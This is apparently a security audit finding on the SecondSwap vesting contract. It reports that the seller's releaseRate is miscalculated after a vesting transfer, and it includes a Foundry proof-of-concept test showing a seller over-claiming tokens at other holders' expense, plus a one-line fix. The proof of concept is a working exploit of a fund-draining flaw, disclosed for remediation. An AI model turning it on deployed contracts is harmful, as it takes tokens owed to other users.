Finding description and impact

When vesting tokens are being transferred, state needs to be updated. One of the variables that change is the releaseRate for both the previous and new owner of the vested tokens. The issue is the releaseRate is not always updated correctly and can lead to users being able to claim more tokens at the expense of other users claiming less.

As an example, let's say that a vesting contract is deployed with startTime = 1, endTime = 2001, numOfSteps = 20 and stepDuration = 100. A vesting plan is created for Bob, where he will be able to claim 2000 tokens. This means that initially his releaseRate will be 100 tokens per step. Let's also assume that maxSellPercent for this vesting plan is 5000 or 50%.

At timestamp 401, Bob claims his 400 tokens and decides to sell half of his remaining tokens (1/2 of 1600 -> 800). Alice purchases those 800 tokens in the same block. Her releaseRate will be 50, which is correct, since she is yet to claim 800 tokens over the span of 16 steps (numOfSteps - stepsClaimed = 20 - 4). Bob's releaseRate is also updated, but instead of his also being the same as hers, his is actually 60 (the release rate is calculated as: _vestings[bob].totalAmount / numOfSteps). However, this means that he will be able to claim more tokens than he's supposed to at the expense of other users, who will claim less tokens.

The exact same example above is proved below.

Proof of Concept

Install foundry, run forge init, create a new test file in the test/ dir, paste the following code and run forge test --mt testIncorrectReleaseRate -vv:

import "lib/forge-std/src/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "lib/forge-std/src/console2.sol";
import {SecondSwap_Marketplace} from "../contracts/SecondSwap_Marketplace.sol";
import {SecondSwap_MarketplaceSetting} from "../contracts/SecondSwap_MarketplaceSetting.sol";
import {SecondSwap_StepVesting} from "../contracts/SecondSwap_StepVesting.sol";
import {SecondSwap_VestingDeployer} from "../contracts/SecondSwap_VestingDeployer.sol";
import {SecondSwap_VestingManager} from "../contracts/SecondSwap_VestingManager.sol";

contract MOMO is ERC20 {
    constructor() ERC20("MOMO Token", "MOMO") {
        _mint(msg.sender, 10_000e18);
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract USDT is ERC20 {
    constructor() ERC20("Tether", "USDT") {
        _mint(msg.sender, 1_000_000e6);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract T is Test {
    SecondSwap_Marketplace public marketplace;
    SecondSwap_MarketplaceSetting public marketplaceSettings;
    SecondSwap_VestingDeployer public vestingDeployer;
    SecondSwap_VestingManager public vestingManager;
    SecondSwap_StepVesting public vesting = SecondSwap_StepVesting(0x40429891f24347f6297A1ab8A5A1bdcfA212FeFb);
    USDT public usdt;
    MOMO public token;

    address public admin = makeAddr("admin");
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public cris = makeAddr("cris");
    address public whitelist;

    uint256 public amount = 2000e18;

    event Purchased(
        address indexed vestingPlan,
        uint256 indexed listingId,
        address buyer,
        uint256 amount,
        address referral,
        uint256 buyerFee,
        uint256 sellerFee,
        uint256 referralReward
    );

    function setUp() public {
        vm.startPrank(admin);
        usdt = new USDT();
        token = new MOMO();

        vestingManager = new SecondSwap_VestingManager();
        vestingManager.initialize(admin);

        marketplaceSettings =
            new SecondSwap_MarketplaceSetting(admin, admin, whitelist, address(vestingManager), address(usdt));
        marketplaceSettings.setBuyerFee(300);
        marketplaceSettings.setSellerFee(200);

        marketplace = new SecondSwap_Marketplace();
        marketplace.initialize(address(usdt), address(marketplaceSettings));

        vestingDeployer = new SecondSwap_VestingDeployer();
        vestingDeployer.initialize(admin, address(vestingManager));
        vestingDeployer.setTokenOwner(address(token), admin);

        vestingManager.setVestingDeployer(address(vestingDeployer));
        vestingManager.setMarketplace(address(marketplace));

        vestingDeployer.deployVesting(address(token), block.timestamp, block.timestamp + 2000, 20, "");
        vestingManager.setMaxSellPercent(address(vesting), 10_000);

        token.approve(address(vesting), type(uint256).max);

        vm.stopPrank();
    }

    function testIncorrectReleaseRate() external {
        vm.startPrank(admin);
        vesting.createVesting(bob, amount);

        assertEq(vesting.available(bob), 2000e18);
        assertEq(vesting.total(bob), 2000e18);
        (uint256 claimable, uint256 steps) = vesting.claimable(bob);
        assertEq(claimable, 0);
        assertEq(steps, 0);

        vm.stopPrank();

        // --------------------------------------------------
        vm.warp(401);

        vm.startPrank(bob);
        vesting.claim();

        (uint256 stepsClaimed, uint256 amountClaimed,,) = vesting._vestings(bob);
        assertEq(stepsClaimed, 4);
        assertEq(amountClaimed, 400e18);
        assertEq(vesting.available(bob), 1600e18);
        assertEq(vesting.total(bob), 2000e18);
        (claimable, steps) = vesting.claimable(bob);
        assertEq(claimable, 0);
        assertEq(steps, 0);

        marketplace.listVesting(
            address(vesting),
            800e18,
            1e6,
            0,
            SecondSwap_Marketplace.ListingType.SINGLE,
            SecondSwap_Marketplace.DiscountType.NO,
            0,
            address(usdt),
            800e18,
            false
        );

        vm.stopPrank();

        // --------------------------------------------------

        vm.startPrank(admin);

        vestingManager.setBuyerFee(address(vesting), 0);
        vestingManager.setSellerFee(address(vesting), 0);
        usdt.transfer(alice, 800e6);

        vm.stopPrank();

        // --------------------------------------------------

        vm.startPrank(alice);

        usdt.approve(address(marketplace), 800e6);
        marketplace.spotPurchase(address(vesting), 0, 800e18, address(0));

        vm.stopPrank();

        (,, uint256 releaseRate,) = vesting._vestings(bob);
        assertEq(vesting.available(bob), 800e18);
        assertEq(vesting.total(bob), 1200e18);
        assertEq(releaseRate, 60e18);

        (,, releaseRate,) = vesting._vestings(alice);
        assertEq(vesting.available(alice), 800e18);
        assertEq(vesting.total(alice), 800e18);
        assertEq(releaseRate, 50e18);

        vm.warp(1401);
        vm.prank(bob);
        vesting.claim();

        (stepsClaimed, amountClaimed,,) = vesting._vestings(bob);
        assertEq(token.balanceOf(address(vesting)), 1000e18);
        assertEq(stepsClaimed, 14);
        assertEq(amountClaimed, 1000e18);
        assertEq(vesting.total(bob), 1200e18);

        vm.prank(alice);
        vesting.claim();

        (stepsClaimed, amountClaimed,,) = vesting._vestings(alice);
        assertEq(token.balanceOf(address(vesting)), 500e18);
        assertEq(stepsClaimed, 14);
        assertEq(amountClaimed, 500e18);

        vm.warp(1901);
        vm.prank(bob);
        vesting.claim();

        (stepsClaimed, amountClaimed,,) = vesting._vestings(bob);
        assertEq(token.balanceOf(address(vesting)), 200e18);
        assertEq(stepsClaimed, 19);
        assertEq(amountClaimed, 1300e18);
        assertEq(vesting.total(bob), 1200e18);

        vm.prank(alice);
        vm.expectRevert();
        vesting.claim();

        (uint256 claimableAmount,) = vesting.claimable(alice);
        assertEq(claimableAmount, 250e18);

        vm.warp(2001);

        vm.prank(bob);
        vm.expectRevert();
        vesting.claim();

        vm.prank(alice);
        vm.expectRevert();
        vesting.claim();
    }
}

Recommended mitigation steps

Replace the following line:

grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;

with:

grantorVesting.releaseRate = (grantorVesting.totalAmount - grantorVesting.amountClaimed) / (numOfSteps - grantorVesting.stepsClaimed);